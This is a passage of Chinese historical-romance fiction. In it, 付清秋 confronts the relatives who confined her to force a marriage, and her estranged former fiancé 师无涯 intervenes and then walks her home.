韦蒲眸子一转,眼露精光,屏退堂内女使,低声道,“我有一计能让表妹静下来。” 刘氏犹疑,斜着眼觑他,他这个儿子向来怯弱,事事都有他作主,能有什么好主意。 可惜,那丫头闹得紧,刘氏心中虽觉韦蒲没有什么好主意,却也只能死马当活马医。 “什么主意,卖什么关子。”刘氏厉声道。 韦蒲上前俯身在刘氏耳边低语,初听时不以为意,直到后面刘氏勾唇一笑,打量起韦蒲。 “你竟还有这法子?”刘氏哼笑道,“亏你想得出来。” “母亲只说你依不依。”韦蒲随之一笑。 —— 是夜,盛民巷巷尾的一颗青梅树下,有一黑团影子在树根下打滚,黑影嗅到气味,绕到青梅树后,蹭了蹭那靠在树旁的人。 夜色凉如水,轻盈的月光流放满地银辉,黑团翻着白色肚皮,一双异色双瞳在夜里格外圆润。 那人垂眸终是没忍住蹲下身来摸了摸它。 “喵~” “嘘!” 他做着噤声的手势,黑团不明所以地翻身,大摇大摆地要走,那人要追,耳间一动,却忽地止住脚步。 “瞳瞳!”一道鲜亮的声音响起。 那人靠紧了青梅树,双手交错,只等着她走,取完东西就离开。 青梅树树叶摸索,枝叶扭打在一起。 云露哑声喊着,元智跟在她身后,道:“只一眨眼,瞳瞳就跑了。” “姑娘不在了,瞳瞳也要跑,我也不想活了。”云露说着哽咽起来,瞳瞳不让她抱,只半蜷着尾巴坐在地上。 元智道:“你别乱说话,付娘子福泽深厚,才不会不在。” 不知为何,躲在树后那人觉得风凉了几分,吹得心冷,吹得他走不动路,悬在他腰间的赤红平安符在随风晃悠。 “你只盼着姑娘不好,何苦来哉,实在不然,就去报官救姑娘出来。”绿柳从廊下提着一盏纸灯走来,见云露在哭,心生恼意。 云露听他二人数落,正欲伸手去摸瞳瞳抚慰自己,却见瞳瞳一溜烟从她手边绕过,径直绕到青梅树后,喵喵大叫起来。 那人慌张地要去抓它,谁知它已走至他身边,乖巧又可怜地蹭他。 云露忙追过去,见瞳瞳蹭着一黑衣人,登时睁圆了眼,惊呼一声,而视线落到他身上,瞧见此人真容,云露更觉天崩地裂。 元智绿柳跟上去,也见此幕,一人蹙眉带怨,一人不解新奇。 “师无涯。”绿柳脱口而出,讶然道,“你怎么会在此?” 不待绿柳问完,云露却扯着师无涯的一角,哭诉道:“姑娘被韦老太太带走了,要将她强嫁给什么韦公子,姑娘被关在韦宅出不来,师郎君,求求你救救姑娘吧。” 元智不明所以,只瞧这人剑眉星目,左眼下一颗微不可见的殷红泪痣,眉目之间尽是散漫之调,偏他眼睛生得好,含情狭长,目如点漆。 “你求他作甚,倒叫姑娘抬不起头。”绿柳气得柳眉倒竖,忙拉过云露。 云露死拽着师无涯不松手,哽咽道:“我才不管什么仇什么怨,姑娘的命最重要,谁知道那韦宅是什么虎狼蛇窝,姑娘在里头多呆一日你就安心了?” “师郎君,你救救姑娘吧。” 师无涯眸光深邃平静,见着云露这般,也未有一丝波澜,在汴京时,他就与付清秋分说得明明白白。 他娶,她嫁。 和他又有什么干系。 师无涯眉梢轻挑,扯回袍角,沉声道:“你家姑娘,与我有何干系,我为何要救她?我来杭州只是取些旧物,途径此处情非得已。” 云露失了主心骨,仿佛是没抓住最后一根救命稻草,她哭得愈发伤心。 绿柳却十分淡然,似早看透了师无涯。 “郎君是谁?”元智矮他一截,仰头看他。 师无涯觉得有些好笑,眼底漫起一丝嘲意,“与你无关。”话落,师无涯飞身跃出院墙,来去自如,仿若无人。 元智满目疑惑地盯着他的背影。 —— 亥时一刻,韦宅东厢房里的主灯倏然熄灭,只余满地银辉。 清秋坐在榻上,蛾眉深蹙,时不时地透过纸糊的小窗往外看,眼瞧着外面石灯未灭,守门的婆子仍在,清秋心内惴惴不安。 将唯一的出路寄与他人,只赌一点良心,虽蠢,却也没有别的法子了。 清秋屏息凝神,候着来人。 亥时三刻,悉悉窣窣的脚步声传来,清秋抬眼朝外看去,守门婆子已然退出去,迎面而来的那人身形矫健,提灯照路。 “表妹是我。” 清秋眼帘微掀,心下思绪万千,眸光机警,朝韦蒲道:“睡下了。” “我有话要同表妹说。”韦蒲站在门外,影子映在木门前。 房内一豆灯火,明明灭灭。 清秋冷声问:“表兄有什么要与我说?我气性大,恐得罪了表兄,若有话赶明再说也不迟,撤了门口的婆子是何意思?” “君子不立于危墙之下。”韦蒲沉吟片刻,道出这句话。 清秋愕然抬眸,起身开门,红香将她的话带到了,但却不是这一句,她所说的是“君子素其位而行。” “表妹。”韦蒲清秀的眉眼,在澄明的灯烛下添几分雅意。 韦蒲见清秋钗环已去,只绾着乌发,连连别开眼,清秋不知外头有无耳目,只得先将韦蒲带进房内,锁住房门。 “表兄,你深夜来此,是为何事?”清秋临门而站,背对着韦蒲,若韦蒲对她生出歹心,她即刻推门而出。 可这是在韦宅,饶是跑的出一步,却也跑不出宅子。 清秋放下门闩,索性回身同韦蒲将话说明,“我与表兄只是初见,并无情意,我父母尚且不知,外祖母替我做主,越过我的母亲,实在没理,大舅母将我骗来,荒唐至极,如今将我囚在此处,表兄应当知道此事。” 韦蒲见清秋走至面前质问他,一时心慌,又自知理亏,慌乱解释:“表妹,我知你我初见,我却从未起过别的心思,我此来是为助你离开,倘使日后你回去告知姑母,还请说些好话,叫我母亲体面些。” 刘氏虽是商贾出身,却沾得市井气,为人强势善妒,韦蒲知其母是何等的人,可奈何,奈何是自己的母亲,饶是犯了错,他也该担着些。 韦蒲为难道:“我母亲向来如此,表妹勿怪,今日我与母亲说了,将东厢房的人都撤走了,你若要走,今夜出了韦宅,只管坐船回汴京,你的两个女使并一个沙弥还在旧宅。我母愚钝,我却不能不孝,还请表妹见谅。” 语罢,韦蒲从袖中取出楮币,眼中带着几许歉意。 “表兄能明白的道理,舅母却糊涂,今日舅母敢私自囚我,日后还不知能做出何等事来,只因外祖母在为她撑腰。”清秋不接他的楮币,无奈道,“今日多谢表兄,表妹身无外物,只以一礼相还。” 清秋往后退一步,郑重躬身作揖,不为别的,只因她的表兄尚且清明正直,不似她的舅母。 屋外皎月明明,屋内灯火昏暗,韦蒲受不起她如此大礼,忙去扶她,才刚跨出半步。 “砰”的一声,木门被踹裂,迸裂的木块飞至韦蒲脚边。 清明月光照进屋内,门外站着一墨袍青年,腰间系着红绳,红缨发绳飘扬,他眉眼含怒,眼下红痣犹如一点朱砂。 屋内二人俱是一惊,清秋看向来人,深深凝眉,眸光染上冷意,韦蒲正欲问他身份,却见来人上前攥起清秋的手。 说时迟那时快,韦蒲跨步拦住他,手摁着他攥着清秋的手。 “放开她,这是我表妹,你私闯民宅,擅自劫人是何意图。”韦蒲厉声质问。 “擅自劫人?恐怕是你们擅自囚禁官家小姐吧。”师无涯漆黑的眸子,目光如高山冰雪,冷得人发颤。 韦蒲壮着胆子,驳道:“官家小姐也是我表妹,放开她。” “表妹别怕。” 清秋心觉好笑,她倒是不怕,可韦蒲压着师无涯的手却在发抖,她这个表兄还有几分可爱的孤勇。 “你够了,师无涯。”清秋试图挣开他的手,压着心头恼意,淡淡道:“你唬我表兄作甚,我的事何须你来管,你又是从哪里冒出来的。” 师无涯非但不松手,反攥得更紧,横眉看向韦蒲,韦蒲心头警铃大作,吓得松开手。 “来带你走,你不是要定亲了?”师无涯语气散漫,“既然与人定亲了,又要在杭州再嫁,岂不是荒唐?” 清秋冷道:“你松开我。” 三人对峙,韦蒲早早败下阵来,只瞧着二人针尖对麦芒,可听着声却有些不对,韦蒲深吸口气,道:“表妹快走吧,待会可要迟了。” 话音刚落,就听远处传来嘈杂的脚步声,由远及近。 清秋冷哼一声,使了全力甩开师无涯的手,“当真是冤家,无端害我筹谋落空,如今倒好,你是来去自如,要我如何见人!” 她本可以趁夜离开,却不想师无涯横插一脚,引得家仆出动,如今她只得等着刘氏来拿她。 清秋气得胸闷,恨恨看他一眼,见家仆未至,朝他道:“还不快走?” 师无涯岿然不动,斜倚在破门前,不嫌事大地看着她,清秋自个顺了气,懒得理他,只当他抽风。 “表兄,我不想连累你,只怪我有个冤家,若是见了舅母,你只管撇干净。”清秋叮嘱道,又望向师无涯,弯唇笑起来。 师无涯眼睫低垂,见清秋抬眸望着她,眼底荡起微不可见的波澜,他本无心管她,却还是忍不住来了。 清秋离他那么近,只一步之遥,稍一伸手好像就能抱进怀里。 “你坏了我的事,师将军还请带我出去。”清秋目光狡黠道。 语罢,师无涯缓缓回过神来,仍不冷不淡地看着她。 “我只是路过。”师无涯道。 清秋心道你这路过,路到了别人家的宅子,恰巧进了东厢房,又寻到了他被软禁的房间,好似不太像路过。 可转念一想,不是路过,倒像是专程为她而来。 眼下不是去猜师无涯为何而来的时候,门前一众女使婆子提着灯,堵在院门口,刘氏身边的老妈妈后面还跟着壮实的小厮。 此刻灯烛映天,照亮整个院子,老妈妈似是有备而来,脸上极为得意,韦蒲欲和老妈妈说些好话,却听老妈妈得意开口。 “夫人早料到蒲哥儿这个性子,怎么会出得了这么下作实用的主意,定是在遮掩什么,哥儿还是快些向夫人认错吧,何须在这里帮衬着外人。” 语毕,老妈妈又笑得奸猾,朝清秋道:“表姑娘心机颇重,险些让我们哥儿为了你做出违逆父母的事,表姑娘跟我来吧,老夫人和夫人等候多时了。” 韦蒲垂头不语,眼中只剩麻木空洞。 清秋见此,悄声对韦蒲道:“表兄,乃我心中君子。” 话落,师无涯忽地冷下脸来。 清秋睨他一眼,扯他的袖子,示意他跟上,老妈妈见还有个人,心头正疑,可又着急复命,只先将人都带到正堂。 韦家行商,奔走各地,家中后宅由韦老太太做主,刘氏帮着打理,而她的姨母,丧夫归家,凭着韦老太太疼惜她,在韦宅亦是横着走。 眼下韦老太太坐上首,韦南絮和刘氏分坐下首,老妈妈将所见所闻告知三人,韦蒲见此,扑通跪下,流下两行泪来。 “祖母,母亲,姑姑,表妹自有前程,我与表妹性情相悖,实在不合,且就让表妹离开吧。”韦蒲痛哭流涕。 堂上刘氏怒其不争,正要发作,韦老太太蓦然抬眼,刘氏方才收了怒焰。 韦南絮倒是不骄不躁,只静静地看着,仿佛她是来观戏的。 师无涯站在清秋身旁,大致看清屋内几人。 韦老太太年老,看上去是个慈悲佛,她眯着眼,努力看清清秋身侧之人,“你身旁所站何人?外男入内宅是所为何?” 师无涯淡然,只扫韦老太太一眼,不答。 清秋回道:“路过的人,外祖母,连日以来,你都不曾见我,孙女有些话要问外祖母。” “这里有你说话的份?闭上你的嘴。”刘氏指着清秋吼道。 韦老太太不以为意,向刘氏道:“还不叫蒲哥儿起来,跪坏了身子你担得起?” 闻言,老妈妈忙服气涕泪四横的韦蒲,韦蒲坐至刘氏身旁,刘氏怒目圆瞪,她低声数落韦蒲是个只会读书的呆子,不曾用心在旁的事上, 韦蒲只一个劲地哭,清秋连连蹙眉,不由得讽道:“大舅母养出这样好的表兄来,可见表兄是个纯良的,大舅母这种做派让侄女好生恶心。” 刘氏拍案起身,怒不可遏,“小贱蹄子,有你说话的份?有个当官的爹,鼻子都翘上天了,哪里还晓得人伦纲常,一张嘴黑白不分,你母亲也是个不孝的,这么多年何曾来见过母亲,哼,威风啊,好大的威风啊。” “老天爷,瞧瞧,这就是你给的命,叫小人得志。”说着说着,刘氏哭天抢地喊老天爷。 韦老太太捧着白瓷杯,听她吵嚷,一气之下摔在地上,溅起的碎瓷片朝清秋飞去,师无涯眼疾手快地拉她一把,随后快速松开。 “吵什么?闭嘴!”韦老太太震怒,一张慈悲脸狰狞起来,脸皮抻开,清晰可见岁月的折痕。 韦南絮观望许久,美目一转,哼声道:“大嫂,你急什么,母亲在这儿你也少说两句,母亲心里有数,你把带蒲哥儿下去。” 韦蒲被带走,临踏出门前,他朝韦老太太道:“外祖母,表妹孝顺,母亲愚钝。” “蒲哥儿心里还惦记着你呢,清秋。”韦南絮起身坐至韦老太太身边,奉了一盏新茶,她替韦老太太顺背。 刘氏喘气平息怒意,仍紧盯着清秋,恨不能撕她一层皮。 刘氏本是商贾人家的小女儿,未曾读过什么圣贤书,且不喜什么文雅,独爱那等金玉外物,故而她常穿金戴玉,学着市井俗语。 在杭州因富得个为人爽利,可却是个上不得台面的。 韦南絮深知刘氏为人,她余光打量清秋,心内生出一计。 “小侄女,我姐姐素来温和,竟有这么个伶牙俐齿的姑娘,清秋你身边是何人?为何会出现在这儿?”韦南絮看似温和轻柔,可话里话外都在拿着她的错。 堂上的人,只有韦南絮是看得最清楚的。 刘氏泼辣,韦老太太偏心,韦南絮寡居娘家,三人一条心,清秋顿觉头疼,韦南絮一席话,叫她难以回答。 方才趁乱时,她已说过师无涯是个路人,如今堂上人都静了下来,又怎会再信她信口胡诌的话。 她这姨母的心思,最为可怖。 师无涯眸光瞥向清秋,见她犹豫踟蹰,全然不复方才盛气凌人的模样,倒也觉得有几分可爱。 可这盛气凌人却与往日不同,往日清秋依仗着父母宠爱,自在洒脱,可如今的她,是因有理有据,她本该如此,而非要依仗什么。 世事变迁,站在他身边的清秋眉眼如故,仿佛当年他们从未分开,那两年也如昨日之梦,醒来时他仍在她身边。 那样他就可以再听到她,唤他“无涯哥哥”。 清秋哪知师无涯在想什么,韦南絮饶有兴致地看着他二人心思各异,韦老太太眼露精光,似也觉察出什么。 第35章 师无涯三番四次试探她 堂内吹进几缕夜风, 烛台灯光飘摇抖动,堂上三人如狼似虎地看他二人。 韦老太太厉声道:“此人是谁?” 清秋仍未想好如何说出师无涯的身份,刘氏见她心虚不答, 冷然勾唇, 讽道:“你这丫头, 还未出嫁就与人不清不楚的私会,还在东厢房私自会面,被我儿抓了个正找, 忒不要脸了些,连那外头的妓——” “大嫂慎言!”韦南絮高声呵道。 刘氏逞一时之快, 虽说当下占了上风, 可宅子里的姑娘们的名声还要不要了。 “清秋,许是有些误会,你坐下来细细分说, 只消将误会解开,这才是最要紧的。”韦南絮看向师无涯, 淡然道,“郎君也坐下吧。” 清秋不与她客气,径直坐下, 至于师无涯坐不坐与她无关。 “姨母, 有什么误会是要将我关在东厢不出门?你问我此人是谁,我便说出他的名姓来,也好叫姨母放心, 当年我父亲曾救过他父亲,他如今是我带来杭州的小厮,护我周全,见我一连几日不归家, 这才来寻我。”清秋不疾不徐地说着,言辞轻缓,似乎不露怯意。 韦南絮心中有疑,眉眼带笑地问师无涯,“可是清秋说的这样?” 倘若此人与清秋有染,定然是不甘心被遮掩,故而她再和善不过的问师无涯。 清秋眼角余光淡淡扫过师无涯,她有心替师无涯遮掩身份,他愿或不愿只在他,若非他是汴京新贵,清秋才不愿替他遮掩。 私闯民宅的是他,拉拉扯扯的也是他,什么坏事都做尽了,还给他留着体面,师无涯要也得要,不要也得要。 清秋兀自松了口气,转而看向师无涯,她眸光清亮亮一片,胜明月三分。 师无涯眸光逐渐和静,只盯着清秋,透过她的眼睛,他见到了不一样的她,师无涯心知清秋在盘算着什么,忍不住去想她在盘算什么。 韦南絮的话他恍若未闻,她的抛出去许久,都不见师无涯回应,正欲开口再探问,却听清秋清脆开口。 “他是哑奴,姨母见谅。” 语毕,师无涯眉头微蹙,目光骤然凝滞,三言两语间,他就成了她的哑奴? 清秋仍盯着他,眼神坦坦荡荡,叫人找不出一丝错,师无涯看得出奇,她撒起谎来脸不红心不跳,偏生她那双眼睛如春日清泉,透净明亮。 当一次哑巴,好似也没吃什么亏。 师无涯转过头看着韦南絮,恍若未闻,装得像个木偶,也不正眼搭理她。 韦南絮眉头蹙得更深,满腹狐疑。 “他耳力不佳,姨母勿怪。” 清秋朝他一笑,又转头对韦南絮淡淡说着,韦南絮见师无涯如此,恐不好再揪清秋的错处,一时间不知如何再开口。 堂上一片沉静,刘氏仍恶狠狠地盯着清秋,韦老太太不动神色地叹气。 清秋倏尔轻笑,沉静道:“既然姨母和舅母皆无话可说,那便听我一言,外祖母年事已高,我心里敬重你,可外祖母却以此胁迫我,我只两件事问外祖母。” “其一,当年外祖母因姨母不愿嫁我父亲,换我母亲低嫁,纵使母亲甘愿嫁与父亲,外祖母你可曾在意过我母亲。” “其二——” 韦南絮眸光一沉,疾言厉色地呵道:“你以什么身份质问长辈,你这姑娘颠倒尊卑,拿着架子说话,是打心底看不起韦家?出言羞辱我母亲,你意欲何为?” 韦老太太哼声,道:“南絮,和她说这么多作甚,和她母亲一个德行,几年不回杭州,也不带信来,早忘了杭州故土。你竟质问我?就是你母亲来了,还得给我跪下请安,你倒好,言辞犀利,难不成要叫我们三个长辈还要给你赔不是?” 刘氏听韦老太太说得字字在理,不由得挺直脊背,越发得意地瞪她。 堂上三人虎狼成行,一个横行霸道,一个口蜜腹剑,为首的则自持尊威,三人目光各异,皆打量着她。 清秋一时语塞,纵使几人有坏心,可也未对她做些什么,故而她们还占了上风,反过来指责她行事乖张,毫无礼数。 刘氏看她吃瘪,唇边浮起笑意,得意道:“你这样的姑娘还配不上我儿呢,你瞧瞧你,什么哑奴,破有几分姿色,倒不像个哑奴,你一个姑娘家家与这个仆人拉拉扯扯算什么事,谁知道你们背地里是什么门路,别坏我们宅子里姑娘的名声。” 刘氏望向师无涯,眉梢高挑,狠狠出了口恶气。 三人你一言我一语,将她说得德行不检,目无尊卑,不敬尊长,连带着将她母亲也一同贬低。 师无涯眸光瞟向清秋,她一身牙白素纱百迭裙,内着藕色素绢抹胸,外搭松花色折枝牡丹花罗褙子,绾着素螺髻,静然垂首,不施粉黛未簪钗环。 澄明的灯烛映照着她灵动的眉眼,她沉静着,不着一言,师无涯一时怔忡,心间泛起酸意,见她这副模样,竟觉得她受了天大的委屈。 师无涯眉头紧锁,唇齿微动,正欲开口,却见清秋起身,朝他使了个眼神。 如此一来,师无涯方才想为她辩驳撑腰的一席话,堵在喉间生生吞回去。 清秋垂眸看堂上至亲血脉,分明是流着同样的血,却有不同的命,她母亲的母亲,母亲的妹妹,都在戳着她母亲的脊梁,斥责她忘恩负义,不孝不义。 她自小长在韦氏身边,受疼爱长大,自然体会不到偏心的滋味,可此刻她站在堂下,堂上韦老太太对她毫无半分亲近,反对韦南絮嘘寒问暖,时时展露笑颜。 清秋心下悲凉,为母亲深感难过。 “外祖母,你将我的母亲,你的女儿说得如此不堪,孙女不明白外祖母为何如此偏颇,不过孙女如今不谈此事。”清秋声音沉静又坚定,恍若清泉击石那般清脆。 清秋沉声道:“既然话都说到这个份上了,那就好生掰扯掰扯,大舅母将我诳来韦宅,又以外祖母之名将我软禁在宅中,企图让我强嫁给表兄,合了我们二人的八字。大舅母,你是什么人,我的婚事何时由你做主了,再问外祖母一句,孙女母亲尚未开口,你为何要纵着大舅母胡来?” “这其中姨母也出了不少的力,姨母仗着外祖母疼爱,在宅子里向来都是横着走,此事姨母晓得,却无作为,想来姨母也是出了力。外祖母和姨母才当真是亲生母女,将我母亲撇在外头,还要拿我的婚事当作表兄前途的筹码,外祖家还要礼义廉耻吗?” 师无涯微怔,听她口齿伶俐,将话说得清晰明白,似乎并不需要他的帮衬,也不需要他去撑腰。 在不相间的那两年,清秋真的变了。 变的是她的心。 思及此,师无涯心脏钝痛,有一瞬间像是被人扼住喉咙,令他喘不上气,他悄然望向清秋,她站在他身前,身影单薄,纤弱却坚韧。 所以,这两年,在她身上发生了什么。 “姨母和外祖母,惦记着我父亲的风光,却又对我和我母亲恶言相向,我没有这样的外祖母,因表哥一片赤诚,此事我不会告知父亲,将来我再不会与母亲回娘家。”清秋冷声道。 眼见心思被人点穿,刘氏正欲再辩,韦南絮却淡然出声。 “小侄女,把话说得这么难听,就不怕有来无回?”韦南絮缓缓起身,眼中腾起凌冽的杀意,她慢步行至清秋身边。 师无涯警觉不对,上前一步,横臂拦下韦南絮,韦南絮挑眉挪开他的手,嫌恶道:“是奴就离你家姑娘远些。” 清秋使眼色让他退下,师无涯拧眉,咬牙别过头,退回原地。 韦南絮倾身贴近她,清秋岿然不动,鼻尖漫上一股摄人的浓香,韦南絮附耳,悄声道,“付清秋,你凭什么觉得你父亲会为你撑腰?” “当年,你父亲想娶是我,不是你母亲,这么多年,不知你父亲可好,想不想要再纳妾娶妻?纵使拿着我的错,你就觉得你有理了吗?” 清秋瞳眸缩紧,指尖倏然陷进掌心,指尖抵紧血肉,留一下几道月牙痕。 比起方才所争执的事,韦南絮所说的更令她心惊胆颤。 她的父亲,并没有那么爱她的母亲。 清秋生涩一笑,轻声道:“姨母,这原本不是什么大事,我的哑奴寻到我,此事就此作罢。” 韦老太太慢条斯理地摆弄香夹,刘氏见韦南絮与清秋密语,倏忽间气散了,只静静地盯着二人。 “小侄女,如此甚好。”韦南絮握起清秋的手,温和笑道:“既着急走,我也不多留,日后还是多回来瞧瞧外祖母,别伤了和气。” 清秋手心浸出冷汗,而韦南絮的手心温热,细腻柔滑,清秋心生恶心,冷着脸抽开手。 师无涯视线落在二人身上,他看着清秋的脸色一变再变,到如今的惶惶后怕,他不知她在怕什么。 “姨母说笑了。”清秋淡声道。 韦南絮轻抚双手,眸光一沉,满不在意地道:“不送。” 将近子时,清秋同师无涯出了韦宅。 子夜深静,明月高悬,街上吹着凉风,卷起枯枝败叶,静得能听清不远处的河水。 “她说了什么?”师无涯站在她身侧,待到只剩他二人时才缓缓开口。 清秋被风吹得身心一颤,分明她是有理的,可韦南絮的一席话,把她的底气打的七零八落,纵使有理又如何。 父亲与姨母是旧情人,母亲与外祖母终是不和睦。 这桩事就算父亲知晓,他又会为了母亲来杭州替母亲或是替她做主吗。清秋自顾自地想着,全然忘记师无涯还在一旁。 “清秋。” 话音甫落,清秋卷睫轻扑,抬眸看向师无涯,惊疑不定地望着他。 “你唤我什么?” 清秋凝眉,疑道:“我的闺名也是你叫的?师将军,你险些害我计划落空,再置我于虎狼险境,你担待得起?” 师无涯哪知她心有成算,只是怕她无力招架,这才踹门冲进去,他的一片好心反倒成了他的不是。 “你这话说得也太过凉薄,我受人之托来救你,哪里知道付二姑娘机敏也有对策,是我多此一举了。”师无涯气急,兀自埋怨。 不知他那句话戳中清秋,引得清秋蓦然失笑。 “你笑什么?”师无涯眉头蹙紧。 “你好笑,”清秋止住笑,正色道:“受人之托?谁的托?既是为了救我,那小女子谢过师将军,待我回了汴京,定备厚礼酬谢,如此就算两清,师将军觉得如何?” 师无涯长眉一挑,哼声道:“不如何。” 清秋轻抿下唇,心道师无涯事多,未必还因这桩事赖上了她。 良久,师无涯瞥向她,道:“夜深了,我送你回去。” 清秋略微颔首,心觉师无涯说得不错,夜深人静,恐再出现些什么人,省得才出狼窝又入虎穴,况他又是个大将军,劲武有力,便宜买卖值当。 见清秋答应,师无涯便走在她身边,只是这一路无话,清秋亦无任何攀谈之意。 月光皎暇,秋夜静谧,夜里的柿子树张牙舞爪,眼瞧着就快到盛民巷,还未说过一句话,仿佛身边站着的不是个人,是个木偶。 师无涯浑身刺挠,总觉有刺在扎,恰逢凉风吹来,他拦在清秋身前,眸光踌躇不安,清秋低垂着头,看着他的影子出现在身前。 风清月明,清秋柳眉轻蹙,眸光清凌凌地凝视他的影子,良久,方才抬头看他要作甚。 “作甚?师将军,有话非要在我前头说?莫不是觉得高我一等就可以看轻我?”清秋不冷不淡地问道,面上微笑。 师无涯微怔,道:“我没有这样想。” “那你有什么要紧事要对我说?”清秋问他。 师无涯思索许久,他好似没有什么要紧的事要同她说,可她不言语,又让他心底直痒痒,到底是为何,到底是那一处不对。 半晌,师无涯都未吐出一个字。 清秋侧步绕开他,淡淡道:“师将军有话就好好说,何须这么郑重,方才我说过会有厚礼酬谢,我与师将军也没有别的话可说了,我要到了,师将军请回吧。” 师无涯眸光忽沉,倏然转身,向她逼近,清秋伸手拦住他,仰头道:“师无涯,我好好说话你听不明白吗,发什么疯?” 只这一句话,师无涯原先紧拧着的眉舒展开来,眼尾勾出笑意,他独有的风流纨绔劲又回来了。 “这才像你。” 清秋心头发苦,抿唇涩然的笑,叹道:“师将军说笑了,只是觉得将军太不知礼数了些,我是个要定亲的姑娘,师将军离我这么近是作甚?” 师无涯恍然忆起她在公主寝宫外说的那番话,她说,“我要定亲了。” 退婚已有两年,她也该定亲了。 师无涯垂下眼睫,趁着云遮月,将那片刻寂然掩下。 “没什么,抱歉付二姑娘,失礼了。”师无涯往后跌了两步,又得变得郑重疏远。 清秋明白师无涯在试探,可终究是物是人非,停留在过去就被困在过去,她固然恨师无涯绝情薄性,却不要再和他有纠缠。 “师将军,不用送了,过几日我便回汴京,多谢。”清秋颔首施礼。 她眼中笑意轻浅,那是她伪装出的不在意,师无涯心里清楚,他只看着她的眼睛,他想多看出些破绽,看清秋眼底是否真的不在意。 清秋坦然接受他的审视、窥探、猜疑,只因她心似明镜,不需要掩饰。 她待师无涯只是一位旧相识。 师无涯怔忡半晌,欲开口说些什么,可清秋利索转身,身影没入黑寂的夜幕,直到再瞧不见一点影子。 待她走远,师无涯才动身回院,他在杭州原先住在通判廨舍,师远不曾另置宅院,萧稜身弱,经不起折腾,他们一家就挤在廨舍。 不过师远在临终前,留有一笔资产,其中倒有杭州的宅子,只是他还未去过,此次来杭州极为仓促,也未带上地契。 师无涯在杭州凭了一处宅子,那宅子恰好在清秋旁边,方才他故意放她离开,也有这一层原因。 —— 付家旧宅里灯火未歇,隐约有仓促的脚步声,庭中青梅树枝桠横斜,树影摇晃。 云露已下定决心要报官,说什么也要保住姑娘,绿柳劝她冷静些,云露哭道:“绿柳姐姐倒是冷静,瞻前顾后,那姑娘如何办,姑娘实打实的被关在韦宅,你我被撵出来,谁知道姑娘如何了。” 元智懒懒问道:“云露姐姐,付娘子定不会出事的,今夜那人是谁啊?” 他虽只见那人一面,却觉得那人定会出手相助,元智总觉那人身上有什么东西颇为熟悉,可惜月色轻浅,他又走得快,他没能看清。 绿柳正宽慰着云露,她这两日托韦宅的女使婆子去打听,都未曾听说过什么表姑娘,绿柳心中也急,但也没有什么好法子。 元智倚在青梅树下和瞳瞳玩,瞳瞳似嗅到什么,猛地从元智怀里飞出去,一溜烟跑至宅门前。 “喵~” 瞳瞳蹭着来人,乖顺地翻肚皮,伸出爪子勾她的手。 几人闻声纷纷望向她,云露鼻尖一酸,扬声喊道:“姑娘。” 绿柳抬眼,见清秋踏月而归,环抱瞳瞳。 元智忙起身追到清秋身边,狐疑道:“付娘子,今夜有个人躲在那棵青梅树后,云露姐姐求着那人去救你,那人是谁?” “你想知道?”清秋逗着瞳瞳,一边问元智。 元智所说的那人应当是师无涯,师无涯所说的受人所托,是受的云露之托?可话说回来,师无涯躲在青梅树后做什么。 应当不止昨日,那天夜里,她听到的怪声,恐怕就是衣裳和树干摩挲的声音。 如此想来,她回杭州的第一夜,师无涯就在了? 难道师无涯也在杭州的客船上? 清秋恍然失神,瞳瞳在她怀里喵了好几声,清秋才回过神来。 “我想,那人与付娘子是何关系?”元智好奇问道。 清秋将瞳瞳递给他,轻笑道:“是我旧时好友,在付家借住过一段时日。” 元智眸子一转,似悟道什么,问道:“是话本子里说的‘青梅竹马,两小无猜’对吗?” 闻言,云露给元智一个爆栗,哼道:“乱说话,你一边玩去。” 绿柳见清秋回来,眼底泪花溢出,上前问安。 清秋往院里去,云露绿柳跟在清秋身后,云露抽抽嗒嗒地低声哭,绿柳宽慰她,清秋于心不忍,不由得转身对她道。 “哭什么,你家姑娘就这么不争气?如今天塌下来我能顶着,云露,你快别哭了。”清秋轻拍她的手。 云露胆小,比她还像个小姑娘,时时需要有人哄着,偏生她又不肯露怯。 “姑娘,不是因为这个。”云露抽噎不止。 清秋疑道:“那是因为什么?” 绿柳拧眉盯着云露,已猜到七八分。 云露抹干泪,待到平复后,才一字一句地说:“姑娘,今儿我在院子里看到了师郎君,我求他去救姑娘,他说姑娘和他无甚干系,说罢就飞走了,我替姑娘伤心。” 绿柳拧着云露的胳膊,渐生不悦。 清秋蓦然轻笑,眉眼舒展,弯唇道:“你替我哭什么?云露不需你为我想些什么,师将军与我半分干系都没有,他说的不错,快别哭了,云露你带她去歇着。” 话落,绿柳旋即拉着云露要离开,刚踏出一步,清秋忽地出声。 “绿柳,明日收拾好行李,后日就离开杭州。”杭州不宜久留,保不齐刘氏又会做出些什么。 刘氏眼皮子浅,韦老太太偏听偏信,真正出主意的还是她的那位姨母,面若观音,心却如同蛇蝎。 清秋坐在秋千上,秋夜风冷,绿柳见此便为她拢了件碧色回纹披风,清秋略微颔首,缓缓抬眼。 原以为绿柳会像往日留在她身边,但她今日没有,只取来披风便退下了。 明月高照,子夜静谧,除却风声再无别的声响。 清秋细细捋了捋在杭州所发生的事,除却刘氏诓她外,其中师无涯的神出鬼没,让人摸不着头脑,师无涯为何要躲在青梅树后,又为何骗云露。 师无涯究竟想做些什么,又为何三番四次地试探她。 清秋不愿往那方面想,只当师无涯如从前一般,做事毫无章法,只顾自己。 疾风乍起,吹落隔壁院中红柿子,青梅枝叶亦被吹得枝桠乱舞,清秋抬眸望向那棵柿子树,杭州的青砖白瓦,柿子树光秃秃,毫无生气。 枝影横斜,堪堪几笔,犹如书法横折提勾。 第36章 “师无涯,我不明白你。”…… 翌日清晨, 绿柳与云露已着手收拾行李,云露本想在杭州多留些时日,杭州好风情, 只可惜出了这件事, 云露只觉早日回汴京更为妥当。 元智在青梅树下逗瞳瞳, 清秋因这几日惶惶不安,还未睡醒。 昨夜她宿在旧时卧房,燃着苏合香, 睡得格外沉,将醒未醒时, 清秋做了一个梦。 那梦仿佛是客船上的延续, 她倚在船舷边,看清了那黑衣人,那人在细雨风浪中缓缓转身, 身后的数尺江浪腾起。 眼见大浪掀船,清秋在他身后, 惊呼出声。 “师无涯。” 清秋骤然惊醒,额间渗出薄薄冷汗,心头惶惶后怕。 日光透过窗棂照进房内, 窗外树影摇曳。 清秋抬手撩开帷帐, 甫一开门,瞳瞳便扑到清秋裙边,元智倒是安静地禅定, 秋日远山寂寥,清秋抱起瞳瞳,坐在秋千上歇了会。 “付娘子,昨夜是那人救的你吗?”元智转了方向, 盘腿坐在清秋身侧不远处。 “你这么好奇?”清秋反问,松手任瞳瞳去玩。 